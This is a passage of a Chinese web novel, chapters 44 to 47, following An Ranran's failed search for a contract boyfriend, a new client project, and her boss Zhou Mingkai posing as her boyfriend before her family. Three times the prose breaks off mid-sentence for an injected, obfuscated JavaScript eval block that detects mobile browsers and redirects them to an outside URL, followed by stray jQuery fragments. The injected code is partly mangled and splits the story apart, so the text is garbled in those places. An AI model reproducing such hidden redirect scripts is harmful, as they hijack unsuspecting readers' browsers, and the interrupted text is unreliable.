“还没聊怎么知道不合适呢?”他突然往前一探身,把身体压在单薄的桌子上,吓得我往后一缩。
他的眼角处一颗硕大的眼屎,我有些反胃。
“麻……麻烦你往后一点。”
他摸了摸自己的油头,靠了回去。
“你这个条件,找什么合约男友。我单身,愿意当你男朋友。” 他抖动着二郎腿,一副他看上我是我的荣幸,咧着一嘴大黄牙,笑得非常猥琐。
我一阵恶寒,感觉血往头顶上直冲,“我不找男朋友!”站起身就准备走。
他也站了起来,挡住了我的路。他往前一凑,吓得我往后退了两步,“两个人的事情,不是你一个人说了算……我看上你了。”
我被他厚颜无耻的言论震惊了,感觉上下牙齿打颤,一直往后退到了点餐区域。坐在角落里的大叔津津有味地看着,甚至还向他点点头,一副熟稔支持的样子。那两个年轻的姑娘低了头不再说话;我向后张望,想向服务生求助,可他只是低着头盯着面前的设备,好像有无数杯咖啡订单等着他……
花衬衫朝着我的脸伸出他的左手,我挥动双手挡在面前,差点尖叫“滚开,臭流氓……”没想到他先吼了出来,“你谁啊?我告诉你,别管闲事!”
我从缝隙里朝外看,是周明凯!他牢牢地抓住花衬衫的手,“闲事?你在公共场合骚扰女性,我不走的话我报警了。”
“神经病!是她约我来的。”
周明凯只是抬了抬下巴,“还不走?等着警察开警车送你吗?”
花衬衫狠狠地瞪了我一眼,可他也不敢说什么,啐了一口转身走了。
周明凯望向我,“需要送你回去吗?”
我死死低着头,恨不得把头都摇断了。社死已经不足以形容我现在的窘态了,真希望自己能化成一缕青烟飘走……可惜,这里也没有烟囱。
脸颊和耳朵火烧火燎,我到底是有多蠢,才会挑公司附近的咖啡馆。可如果不是在这里,也许我今天就要遭受灭顶之灾。
他推门出去了。
我失魂落魄地往外走,走出店门才发现包都没拿。折回去拿包,坐窗口的那两个女的正在讨论我,她们声音不大,可还是一字不漏听全了,“咳……没听见她刚刚说的,找合约男友呢”,“你说她是不是傻,刚刚那个男的条件这么好,一看就是认识的人,干嘛不找他帮忙”,“你怎么知道她没找过,没准是那个男的不愿意。”
面朝我的那个女的发现我折返回来了,立马不说话了。背对我的那个喊了一句:“你踢我干嘛?”
我狼狈尴尬地抓起包跑了出去,周明凯没走,等在外面,“还是我送你回去吧,那个人还没走远。”
匆匆忙忙瞟了一眼,花衬衫似乎在不远处徘徊,我慌乱地紧紧跟在他身后。直到上了车,我仍然心有余悸。一路沉默,周明凯什么都没问。
缓了很久之后才压下后怕,在恐惧窘迫过去之后,我彻底绝望了,接下来的人生,将面临的男性都是这样的?
……
接下来的两天,我忙着应付Jessie层出不穷的新想法。我深刻地理解了珠玉在前的压力,出道即巅峰也并非是什么好事——人的预期一旦被拉高就更容易失望。
追忆似水年华,“The one——经典一生”营销案太出彩,可那是“妙手偶得之”。Jessie非要比照那一季的水准,难度直线上升。WH集团第三季度的营销案提了两轮,她觉得不够别出心裁抓人眼球,有一个提案进入了备选,但她要求再提案一轮。
如果能绕开Jessie,我的工作效能可以提高两倍。
本周的最后一个工作日,我的“新男友”仍然不知道在哪里。对于花衬衫事件心有戚戚,我上下班都尽量绕开那个咖啡馆,也不敢再见任何发私信给我的人。
在交白卷和自暴自弃之间来回犹豫的间隙,我突然想起了像孔雀一样的雷蒙德,我回想他的长相——底子还是不错的,只要他不要把自己穿得像是去参加化妆舞会,大概率还是能拯救一下的。
经过一番天人交战,我给他发了一条微信,“Raymond,你下周有时间吗?”
在发送之前,我深呼吸了一下,生怕弹出红色感叹号。所幸,发送成功。接下来,是更加煎熬的等待。
我曾经对微信有一个非常刻板的印象,觉得微信在产品设计上不如飞书:为什么微信不像飞书一样能标识信息“已读”,后来我才意识到,微信保留了“看破不说破”的善良。
如果未知对方状态,还可以欺骗自己“他工作太忙”、“也许在开会”、“可能手机没电了”……而当明晃晃赤裸裸的“已读”出现在发出的消息后,只能说明他于上百条微信中瞥了一眼,然后放下,仿佛它从来不存在一样。刺眼的“已读”背后其实是“已读不回”,造成的情感伤害更大——你,没有自己想象的那么重要。
就在我快要放弃的时候,微信语音响了起来。
我看一眼屏幕,赶紧接了起来,生怕错过了这村没这店。
“嗨,我是Raymond,你是那个谁来着?”
我压低声音,一路小跑着去了会议室,“安冉然,就那个找临时男友的。”
“啊!我想起来了!上次你说是什么时间去哪儿来着?”
我耐着性子又重复了一遍自己的“招聘需求”,在这一刻,我深刻体会到了招聘同事的不易,同一段话对不同的人来回重复,但结果却完全不受控制——人选不合适,重来;人选放鸽子了,重来;人选最后拒绝了,重来……
“我有点记不清
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672148|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你长什么样了,不然我们还是提前见一下吧。”
我在心里狠狠地咒骂了一通,深吸了一口气之后问:“滨江大厦一楼咖啡厅,就门口有个红色电话亭的咖啡店,可以吗?”
“你还是发个位置给我吧。”
我再一次跟这只花枝招展的花孔雀见面时,认识到了一个真理:永远不要低估任何可能性。
他仍然是让我自戳双目的装扮,只不过这一次的色系改成了明黄色衬衫配宝蓝色皮鞋,只有那条蟒蛇纹紧身裤岿然不动。
一切都谈妥了之后,我对他的外形提出了一些期许,希望他能够按照我的标准重新收拾一下,委婉地表示他这种抽象派的色彩冲击太强,我们这种凡夫俗子欣赏不了。
他一脸的不高兴,“哎呦,烦死了,人家哪有白衬衫那种无聊的衣服啊!”
压下想骂人的冲动,我大概是人类史上最憋屈的甲方,扯出一个笑容,“把你的尺码给我,我来买。”
这时候,他的电话响了,“哟,死鬼,终于舍得打电话来了?”
他在椅子上扭得像条蛇——难怪那么喜欢蛇——我默默叹了口气,可能也许穿着简约派也挽救不了。
“不好意思啊,你这活儿我接不了啦。人家Honey要带人家去新马泰旅行,时间正好冲突。”
我目瞪口呆地望着他,好了,这下连死马也没有了。
“你还有别的朋友可以介绍给我吗?”迅速回了神,现在已经不能考虑质量,只要性别为男即可。
他托着腮帮想了一会儿,“有的话我打电话给你吧……不过,你的要求有点苛刻,不一定有人愿意的……好了,我先走了,回头联系……”
望着雷蒙德二号如同春天降临一样扭着他壮硕的腰肢,欢快地扑向外面,一种诡异的情绪涌了上来——如果我要求白衬衫有点苛刻,那些五彩斑斓的黑,梦幻迷离的紫算什么呢?
突如其来的打击,让我脑袋发懵,像是一个踉跄没踩稳,从台阶上踏空下坠。掏出空空如也的私聊列表,以前让我觉得心烦意乱的未读消息已经被我删了个干净,现在一条都没有,已经没有下一位了。
此时此刻,我的内心一片荒凉。有些人做事不仅仅有Plan B,甚至有Plan CBEF,而我连个Plan A都欠缺。
一整晚,我都处于一种迷离状态,失落占领了情绪的高地。开着的电视机只是为了充当白噪音,屏蔽外面传来的声响:我的房子离小区里的小花园不远,现在晚上还不太热,似乎整个小区的人晚饭后都在小花园里散步。各种寒暄,小孩跑动笑闹的声响,间或夹杂着两声喝骂声,让人心烦意乱。
歪歪斜斜半倚在沙发里,我蔫巴得像是很久没淋过雨的狗尾巴草。外面的声音穿堂过室,我调高了电视的声音,恰好女主角在雷雨交加中喊着“我不会放弃的!”
全世界都告诉你放弃是可耻的,要坚持要奋斗要上进。可是凭什么不能放弃?真的做不到,有那么可耻吗?!
恍若闪电劈中水杉,巨木轰然倒地,有个想法击中了我: 我就一个人回去!合约男友?我放弃!
决定放弃后,纠结和焦虑烟消云散,自己一周以来所做的无谓努力显得那么可笑。
此刻,外面的小花园里又响起了居民们的欢笑声,树上的蝉鸣一声高过一声;我关掉了电视,享受自然的白噪音……
45. 第 45 章
搞砸了案子又怎么样呢?在原地哀叹并不能改变什么。就像撒掉的牛奶再可惜也不能喝了,赶紧拿起拖把擦干净,不让自己摔倒才是最正确的做法。
允许自己沮丧失落一阵子,然后就得挺起胸脯,打起精神,去做下一个案子。
我刚刚收拾完心情,就被周明凯的善变打了个措手不及。
“既然你有余力,那就把这个案子做了。”
周明凯递给我一个文件夹,“这个案子你自己跟。回头我把联系人发给你。”
“啊?我……才刚刚跟丢了一个单子。”
“连WH这个硬骨头都啃下来,还怕什么?”周明凯看了我一眼,“上一个单子就当交学费,让你学会拒绝,不做无用功。”
“那我能拒绝……”
他给了我一个“你自己体会”的眼神,我非常没有出息地闭上了嘴。
“凡事不要为了做而做,多去想想为什么做。反反复复做很多遍,不如先想清楚,一遍做对。”
字字珠玑,但懂是一回事儿,做是另外一回事儿。
我现在能做两遍把事情做对已经不容易了,要求一遍做对,委实对我的要求有点高。不过我现在已经习惯了周明凯的拔苗术,尽力就好。
我刚从办公室出来,小妍就凑了过来:“没事儿吧?”
茫然地摇了摇头,有气无力地表示老板要我跟个新项目。
孟猛打字打得飞快,“恭喜加入驴的行列。”
这个世界对我不算太坏,每次当我以为事情要向着最坏的结果奔驰而去,往往就会在前面拐一个弯,最后可能不会太好,但也决计算不上坏。许逸晨常说我是一个有狗屎运的人。虽然听上去有点恶心,可事实上,确实如此。
比如WH集团第三季度的创意,我抱着“死就死吧”的态度把那个“穿婚纱抱着吉他冲过终点线”的创意提了上去,没想到Mark对这个想法很感兴趣,要求在这个基础上做延展,探求婚礼场景的多元性。
在幻想中,我瘫在位置上,抛出一颗花生米,用嘴巴接住,接着再抛出一颗,接住;可现实中,我从来没有接住过任何一颗花生米或爆米花。它们总是精准地避开我嘴巴的位置,四处掉落。现实跟幻想之间有着巨大的沟壑。
……
翻开文件夹,第一页写着“KY集团周年庆活动策划案”,落地执行时间是12月28日。不知道为什么,我感觉一股寒气从脚底升腾而起,直冲天灵盖。
谁家公司会提前半年就开始策划周年庆,现在才6月份,就算是一百岁寿诞,也没这么早筹备的吧?!
我哗啦啦翻着材料,公司背景、项目背景一应俱全。眼下,我祈盼给我一个正常的对接人,按Jane的标准就行。
孟猛刚刚打完电话,好奇地凑过来问:“看什么呢?”
“就刚刚说的那个项目材料……”我翻回第一页,把文件夹举起来亮给他看。
他一脸受了惊吓的表情,“老大让你跟KY集团的案子?”
“怎么了?”
“对接人是不是叫黎卡卡?”
我茫然地摇了摇头,“不知道。老大说晚点推给我。”
正说着,周明凯推送了一个叫“咔嚓咔嚓”,头像是一把剪刀的微信给我,“这是KY对接人黎小姐,你先跟她打电话沟通下具体需求。”
我把手机凑到孟猛面前,“喏,就她。”
孟猛用一种同情但又掺杂着不明意味的表情看着我,“冉冉,多保重。”
我深感疑惑,“是不是有什么内幕?”
“这个……不太好说。”他一副便秘的表情,瞬间勾起了我隐秘的窥探欲——我本来不太算一个好奇心旺盛的人,但孟猛这个吊胃口的行为,让我的好奇爆棚。
“怎么说一半还留一半的,你到底说不说。”
“冉冉,你就别问了。我真的不能说。反正……你自己当心一点,少提老大,埋头干活。”
“你们聊什么八卦呢?”萌萌风风火火地冲到我面前,随手塞给我一个水蜜桃。
“老大让我跟KY,对接人黎小姐。孟猛又让我当心,又死活不肯说原因。”我三下五除二就把来龙去脉倒给了她。
“咳,就孟猛搞得跟什么秘密一样。不就是那个黎卡卡喜欢咱们老大,总是借着业务机会想跟老大接触。可咱们老大就觉得这个级别的案子,没必要他出手。这女的也是个奇葩,她就总找我们对接人麻烦,目的就是逼着老大跟她对接。”
萌萌说起八卦来,那叫一个行云流水,畅快淋漓。
“老大知道吗?”
“可别提了,我真是没见过像我们老大这样的万年大直男,心眼全长在事业上了。大概整个公司,就老大不知道黎卡卡喜欢他。”
我刚咬了一口水蜜桃,含糊地说:“那这黎卡卡…有点惨。”
萌萌白我一眼,“你还担心别人?还是先担心自己吧。这个女的,可不好搞得很。”
尽管才对接过几个客户,可我已经深谙一个真理:最可怕的不是提需求的客户,而是明明什么都不懂却喜欢提需求的客户。
“你小心点,根据我的小道消息,她是个关系户。虽然业务能力一塌糊涂,但告状和打小报告能力很强。”
萌萌朝老板办公室瞄了一眼,然后狠狠咬了一口桃子,“哦,对了,再提供给你一个消息,她是一个公主病晚期,治不好的那种。”
我抱着了解对接人,好吧,其实是吃瓜的心态,津津有味地听萌萌跟我普及黎卡卡小姐的光辉过往。怎么说呢,这个姑娘显然是含着金汤匙不知人间疾苦,她提出的那些要求,可能在她的世界里是司空见惯,但在我等凡人眼中就是“懂不懂常识啊,大小姐”,况且也不用她实际干什么活儿,难免显得“眼很高,可手很低”。
总结来说,就是人不坏,但不接地气的小毛病一堆。
“不过你也别太担心,就正常对接。真不行还有老大呢。”
这就是为什么我一直觉得晋升对我没有吸引力的原因。在我的职业风险指南中,高职位意味着高风险,天塌了不得个高的顶着吗?不然他们凭什么拿高薪呢?不过,在过往的经验中,这条我认为应该是“常识”的规则失效。
八卦结束,去吃午饭。
萌萌带着我溜达到上次人太多没吃上的小餐馆,还是一家极小的苍蝇馆子。门面很小,大概最多也就能坐下二十来人。店里亮堂堂的,简洁且干净。第一眼印象不错。
这家主要做煲仔饭和餐蛋面,偶尔厨师心情好的时候会有炒河粉和白斩鸡,据说是个正宗的广东厨师。
我特别羡慕厨师的随心所欲,他对待那只鸡的态度是,我想怎么切就怎么切,想切几块就切几块。什么时候我能以这种态度面对客户,方案想怎么做就怎么做……当然,这是妄想。
一看墙上的餐牌,居然有盖浇饭。
“这主营范围不太对吧?”
“就跟我们一样,拓宽业务范围呗。”
萌萌点了个香菇滑鸡饭,我在腊肠煲仔饭和猪脚饭之间摇摆不定——前者是广式餐厅的精髓,后者是咬牙切齿总想打破的医嘱。
咬了咬嘴唇,选择困难症又犯了。我只能提供选择,但做不了决定。一旦涉及做决定的事情,我就忍不住浑身颤抖,机会成本这件事在我这里有极大的指导作用。
奇怪的是,我倒是不太会屈从于沉没成本,牛奶打翻了,惋惜有什么用,当然是赶紧拿拖把打扫干净,没有人会忍着恶心趴在地上舔吮,不打扫还会因此摔倒……可是姑娘们却时常因为恋爱的沉没成本而忍受各种恶心,这是我不能理解的。
我默默在心里点兵点将,萌萌已经掰开了一次
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672149|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
性筷子,上下刮掉木屑,“你还没点好啊?”
我可怜兮兮地望着她,“不然你帮我点一个,我两个都想吃。”
萌萌小手一挥,“老板,香菇滑鸡没做的话帮我换成腊肠煲仔饭。”
她笑嘻嘻地把筷子往碗上一放,“成年人做什么选择,两个都要不就好了。我们俩人一分,可以吃两种。”
有心栽花花不开,无心插柳柳一排。我怎么没想到,给他们搞个双拼呢?!
美妆客户WM推出的新品滞销,客户要求我们想办法做一次营销活动,拉一拉销量。其实这属于用营销来补产品的硬伤了,可这就是我们的工作内容,制造需求,创造卖点。
我细细想了想,用她家的拳头产品经典色口红和腮红,单色眼影,搭眼线笔和新品眼影盘。新品眼影盘里的颜色基本都是浓烈奔放的,不太日常,我和萌萌试过其中几个颜色,单独用很灾难;可只要画个夸张的眼线,厚涂口红,在肉桂色眼影上覆一层作为点缀,就完全是另一个风格。
连Slogan我都想好了,“一个礼盒,两个妆容”,“日和夜,同一个你,不同的你。”双面娇娃,这种戏码虽然算不上新颖,但管用啊!
如果品牌在总价上再让利一些,还是很有吸引力的。况且还符合最小化可行规则,需要做的不过是再配个礼盒,把产品包装在一起即可。
趁着饭还没来,我开始盘这个想法,无意识地碎碎念。
“冉冉,你在嘟囔什么呢?”
我把想法跟萌萌说了一下,准备理顺了再跟孟猛说。
“别等了,把他叫过来,边吃边说。”
萌萌立马打电话,让孟猛来广东小馆子跟我们会合;他最近正被这个案子搞得焦头烂额,连饭都不吃了。
虽然我自己觉得这个点子还不错,但仍然内心忐忑,自从来了T市,总有死马当做活马医的时刻。其实,我自己何尝不是一匹死马呢?
如果这个案子翻车了……哦,翻车的话,孟猛首当其冲。
为了防止翻车,我补充提议让客户采用限量发行的原则,在小程序上推内测限定名额,会员可抢,抢到的会员才有资格购购买。
孟猛搔了搔头发,“创意是不错,可礼盒从设计到生产,主要时间卡在设计上,估计最少得两个月;而且这玩意儿,量大成本才可控,数量少反而贵……无论是时间还是成本,都会有压力。”
这倒是我没想到的,实践出真知,方案如何落地,孟猛比我专业多了。
“反正内测,让客户看看有没有现成的盒子可以用,在礼盒内放模特两套妆容的卡片……内测效果好的话,开预售,没抢到的那些会员肯定乐意买单……这做礼盒的时间不就出来了,有了销售数据,剩下都好弄……”
“你还别说,萌姐有点东西!”孟猛搓搓手,兴奋之情溢于言表。
萌萌将下巴一昂,胳膊往我肩膀上一搭,“我是有点东西,我们冉冉可是大有东西……”
孟猛朝我们竖起大拇指,“姐姐们真是救了我小命!我先做方案,回头请你们吃饭!”
萌萌看了他两眼,“给你点了个餐蛋面,吃完再回去当牛做马吧。”
孟猛感动得都快哭了。他三两下扒完了就回公司赶方案了,我跟萌萌分着吃了猪脚饭和煲仔饭,还溜达去街对面买了手打柠檬茶。
吸溜着凉爽的茶饮,萌萌慨叹,“没什么事儿能比悠闲地吃顿好的更解压了。”我深以为然。
不要小看自己天马行空的想象力,也许有一天就成了饭碗。我以前总认为自己做白日梦是不务正业,可萌萌说,爱做白日梦的人都有创造力,只是很多人不知道怎么样利用自己的天赋,灵光一闪的好点子经常被人浪费了。
突然觉得,我似乎误打误撞反而转换到了适合自己的职业跑道上。这大概也是狗屎运吧。
46. 第 46 章
参加别人婚礼的不二法则是既要穿着得体,又不能抢新人的风头。当然,如果是前任,那另当别论。请把自己往死里打扮,务必让对方产生一种“我当年是有多想不开才跟他/她分手”的遗憾感。千万别觉得尴尬,既然前任邀请你,想必早就做好了看你心痛流泪的准备,最巴不得你离开了他/她之后过得混沌惨烈。要是你离了他/她之后过得烈火烹油鲜花着锦,岂不是显得他/她才是妨碍你获得幸福的罪魁祸首。前任过得越凄惨,越能够凸显自己的重要性和魅力。人类就是这么阴暗卑鄙,把自己的快乐建立在别人的痛苦之上,在爱情里屡见不鲜。
在让自己后悔和让别人后悔当中,我当仁不让选择后者。从头发丝儿到脚趾甲盖儿,都要传达出一种“老娘离开你,过得精彩极了”的信息。最悲剧不堪的就是,当你蓬头垢面不修边幅走在大街上,迎面走来前任和他的新欢,两人有说有笑揽在一起,而你像个真正的弃妇一样,茕茕孑立,看上去仍想紧紧抓住已经化成泡影的过去不放。
如果你不是出席前任的婚礼,而是老家亲戚家同辈的婚礼,情况又有所不同。但你仍然得把自己往精致里打扮,因为那不仅关乎你自己,还关于你爸妈的脸面。
当我斗志昂扬地打开衣橱,准备找一件看上去不那么张扬,但绝对能够体现我在外面过得还不错的战袍时,才发现我并没有为这个场景做任何准备。谁能想到,我亲爱的表妹,过年的时候还是单身狗一个,今年夏天居然就要结婚了!
我在衣橱里来来回回搜寻了一圈,发现能够镇得住场子的只有陪同周明凯去他前任婚礼的那条小黄裙。犹豫了半天,还是套了个防尘袋之后把它对折放进了行李箱。
拖着行李箱回到家,我妈正向我爸展示她想穿去婚宴的裙子,紫红色底,花团锦簇,不知道的还以为是我要结婚了。
“你怎么穿成这样就回来了?”秦女士一脸的嫌弃,“不知道的还以为我是后妈,尽让你穿破衣服。”
我低头看了看自己的T恤和破洞牛仔裤——我妈最不喜欢破洞牛仔裤,她觉得那是乞丐装。我高中时买的第一条破洞牛仔裤被她用两块布缝好了摆在床头,我哭了整整两天,她直接把那条裤子扔了——离开家之后,我钟爱买破洞牛仔裤。
周五如果没有约见客户可以任意着装,我原先还比较收敛,观察了几周,同事们周五穿得都很随意,就连周明凯都一改西装衬衫皮鞋的标配穿Polo,我就放飞了。只是我忘了我妈对破洞牛仔裤的厌恶。
“明天换条裙子去参加婚礼。”
“不用了吧?我又不是主角……”
路上我想了想,小黄裙还是不合适,在我们这个小县城,低胸、大露背再加上高开叉,太冲击了。尽管带了,大概率是不会穿的。想着到家不算太晚,去街上随便买一条。可面对我妈,我突然不想去买了。
我妈好强的性格,一直不能容忍我邋遢、不修边幅外加不上进。这些在她的字典里,汇总成三个字,“没出息”。
“怎么就不用了?你就打算穿成这个鬼样子去珊珊婚礼啊?明天她光鲜亮丽,你跟个乞丐似的,丢不丢人?” 她边说话边往我身后看去,“肖平呢?怎么没跟你一起回来?”
我爸轻轻拉了我妈一把,“让然然先进家门再说。都这么晚了,让孩子休息,明天再说。”
我妈一扭腰让开了,我刚把箱子拖进来,我妈又问了一遍:“肖平人呢?”
明明已经在火车上练习了好几遍,现在嘴巴却像被胶水粘住了,含糊地应了两句,想蒙混过去。
我妈继续喋喋不休念叨,“是不是太晚了就回自己家了?他也真是的,不知道把你送回来再走吗?还没结婚就这个样子,就是谈恋爱谈太久了,都不把你当回事儿了。”
我深呼吸了三十秒,决定还是先给给我妈打个预防针。
“那个……肖平……这次没回来。”
我妈顿时脸色不好看了,“又是忙他那个破工作啊?”
怎么回答呢?是继续隐瞒还是干脆摊牌算了。我使劲咬了咬嘴唇,择日不如撞日,我妈迟早都会知道的,“我跟他……”
还没等我说出口,有人敲门。
我妈疑惑地看了眼墙上的挂钟,喃喃自语:“都这个点了,谁啊?”
趁着这个空隙,我赶紧拖着箱子想溜回房间。一个既熟悉又陌生的声音飘了进来。
“阿姨,您好。我是周明凯,安……冉冉的……男朋友。”
哐当一声,我爸的茶缸砸在了地上。我妈也愣住了。我也没好到哪里去,仿佛一个惊雷在我头顶炸开。谁能告诉我,周明凯这是要玩儿哪出??
我妈最先缓过神来,一把给我拽进了房间,瞪着我,“说清楚,怎么回事?!”
我瞄了一眼老太太,大概是为了参加婚礼新烫的头发,一层层像花椰菜的小卷儿在她头上欢乐地抖动着。
尽管心虚,我仍扮作无所畏惧的样子,“就……你看到的那样呗。”
我妈两手叉腰,“安冉然!长本事了?”
小时候打碎了碗,我把碗藏在碗橱底下,仍然被我妈发现的恐惧又回来了。
“我跟肖平分手了,周明凯是……”我吞咽了下口水,决定还是先过了这关再说,“新男朋友。”
“你这孩子,知道自己多大了吗?!你表妹比你小四岁,明天就结婚了!你再看看你,马上30了,还换男朋友!上一个谈了四五年还不结婚,这个又打算谈多久?!你是不是想要气死我!”
我妈在我和肖平谈了两年恋爱之后就开始明里暗里催婚;肖平说要在S市买了房再结,去年我妈已经表示她跟我爸能资助部分首付,暗示我让肖平问家里要点钱,希望我们抓紧能在今年把婚事办了。
“他比我着急……今年三十五了。”谎话开了头,就刹不住车。
我妈脸色缓和了些,嘴里嘀嘀咕咕:“小伙子长得挺精神,倒是看不出年纪。”
等我们从房间里出来,就看见我爸和周明凯拘谨地坐在沙发两侧,我爸一改和蔼可亲的小老头形象,绷着一张脸,严肃的跟我初中教导主任似的。
周明凯正襟危坐,腰板挺得直直的,跟在汇报工作一样。“我是独生子,爸爸在机关单位,妈妈做点小生意。我自己在一家外企工作。”
虽然没见过周明凯跟领导一对一汇报工作,但我觉得,也差不多就是这样了。
“独生子啊,你家是哪儿的?”
“老头子,查户口呢,别把人孩子吓坏了。”我妈一改平时对我刨根问底的态度,对着周明凯露出宛如春风拂面的笑容。
周明凯一看见我,就像看到了救兵。平常看到他都是临危不乱,这下反倒像是被老师临时抽查到的学生,还是前一天没背书的那种。
“还没吃晚饭吧?不嫌弃的话在家吃个晚饭。”
周明凯站了起来,局促地摩梭手指,“阿姨,不用麻烦了。我还要去办入住。明天我来接你们。”
“不用,酒店离家近得很。”我妈用胳膊捣了我一下,“然然,送下小周。”
我妈对我和周明凯双标得十分显著,她冲着周明凯笑得亲切随和,“我们家然然从小就没眼力价,随她爸。”
尴尬地快要抠出一套完整的三室两厅,我赶忙拽着他出门,身后传来我爸不满的嘟囔:“怎么随我就没眼力价了。”
“人孩子第一次来,你搞得跟查户口似的,把人吓跑了怎么办?!”
“我就然然一个闺女,嫁太远了,我舍不得……”
“老头子,我说你是不是操心的太早了点?!”
我恨不得借哪吒的风火轮。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672150|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
周明凯定的酒店是我们县城最好的,离我家不远,步行十五分钟。路上也不知道该说什么,一路沉默着送他到酒店。
“老大,你好好休息……”转身要走,他叫住了我,让我在大厅等他一会儿。我站着发呆,他下来了,手里拎着个袋子,说给我买的,让我回去看。
“明天……还是我自己去吧。”我打起退堂鼓来。
“安冉然,别害怕。”我抬头看他,周明凯的眸子漆黑深沉,声音里却带着让人心安的气力,“你帮了我一次,我帮回你一次,很公平。”
我脑袋晕乎乎地回了家,却想不明白他那句话的意思。走进家门,我才突然想起来,他怎么知道我缺个“临时男友”,他又是怎么知道我家住哪儿的?
算了,想不清楚,不想也罢。
爸妈都在客厅里坐着,我爸腰杆子挺得笔直,跟纪检委开会似的。掉地上的茶缸已经摆在茶几上,茶缸盖蔫蔫地倒在一边,我的心里打了个突。这是准备审我的架势。
一生好强从不认输的秦女士,突然挺直了胸脯,“安冉然,这事儿还没完。你别指望打马虎眼糊弄过去。到底怎么回事?你跟肖平怎么分手了?这个小周怎么认识的?你是不是不想让小周去?”
秦女士像是刚上了膛的机关枪,对准我一阵扫射。
“分手就分手了,要什么理由。”
他出轨了,我被甩了。看上去是简单的八个字,可它像一块巨大的石头压着我,明明不是我做错了,可这莫名的羞耻感,却压得我喘不上来气。
“好端端的,怎么会闹分手?你是女孩子,要检点。”
我血气往脸上涌,“我怎么不检点了?谈恋爱你情我愿,分手又不是我一个人的责任。”
我爸拽了一下秦女士,“你少说两句……然然,这个小周是怎么认识的?”
“他是我上司……”
没等我说完,秦女士一下站了起来,“然然,你是不是嫌贫爱富,肖平家里条件是一般,可你们俩有那么多年的感情基础。”
我爸在旁边嘀咕了一句,“这个小周,我看着孩子也挺好的。还带了礼物。”
秦女士瞪了他一眼,我爸不说话了。老牌妻管严,加上我这个老牌妈管严,两个姓安的被秦女士压制得动弹不得。我爸从小就告诉我,秦始皇都姓秦,天下老百姓都得听老祖宗的,我们听你妈的,不丢人。直到我上小学才知道,秦始皇叫嬴政,压根不姓秦。
“早就告诉你,早点结婚,早点结婚,就把我的话当耳旁风。你跟肖平两个人总说不急,现在好了!”
“这不是……孩子又找了对象,你就别骂她了。”
“安冉然,我可告诉你,这个你好好处着,最好明年把婚结了!你以为你还小啊?”
我咬着嘴唇没说话,内心的委屈铺天盖地地涌过来。鼻子发酸,狠狠忍住了,眼泪在眼眶边缘打转。
“然然也累了,有什么事儿明天再说。”我爸推着她回房间,她还在不停数落,“她这个无法无天什么都敢干的性格,就你惯的。”
关上房门之前,秦女士冲我喊:“明天老老实实和小周一起去,别整幺蛾子。”
我站在客厅里,孤独像潮水一样漫过我的身体……墙角堆着周明凯带来的礼物,感觉到了手里袋子的份量。打开一看,是一条水蓝色的真丝连衣裙,款式大方得体又不抢风头。一个人怎么能把事儿办得如此周全呢?难怪他能当领导。
深呼吸,再一次,周明凯那句“安冉然,别害怕”兀自在我耳边响起,明明是那么冰冷的一个人,为什么能说出这么温暖的话呢?
我爸从房间里出来,见我还站着,迟疑了一会说:“然然,别怪你妈,你妈也是关心你。”
可是,你们为什么从不关心,什么才是我真正想要的呢?
47. 第 47 章
在一堆亲朋好友中间,我赫然看见了肖平!真是见了鬼了!谁能告诉我,他为什么在这儿?!
亲戚们互相寒暄,没见过肖平的倒还罢了,认识肖平的那些眼神就不太对。这些七大姑八大姨原本就是八卦滋生体,正愁没有素材让她们发挥。经过一阵交头接耳,估计已经更新完最新的八卦素材。
一个八竿子打不着的亲戚,新娘子的表姑妈,也就是我的表姨妈,快速看一眼我身边的周明凯,惺惺作态地问:“然然,这小伙子谁啊,怎么也不介绍下?”
典型的三姑六婆嘴脸,生怕你过得太好,显得她们的人生一无是处。她们最希望看到你过得不如意,然后她们以过来人的身份指点江山点评你的人生,一个个的口才赛过辩论选手,投入的程度堪比参加竞赛,打着为你好的名义,全方位刺探你的生活,从中找出可供茶余饭后当作笑话的谈资……
悲哀的是,看笑话的往往都是身边人,陌生人的生活离她们太遥远了。
我特别痛恨这种揭人伤疤的做法:小时候总在过年的时候问考试成绩,工作了就开始问工资多少,什么时候结婚,没完没了。这些对他们不过是消遣的花生米,就跟娱乐杂志上的八卦一样无关痛痒,聊完即弃。而对于我,却是一次又一次的让心情荡落谷底的元凶。
周明凯不愧是见过大世面的,他露出标准的八颗牙微笑,“周明凯,冉冉的男朋友。”
“哎呦,不是原来那个啦?原来那个姓什么来着。”
秦女士从旁边岔了过来,“年轻人的事儿,我这当妈的都不管,你这表姨妈就别操心了。”
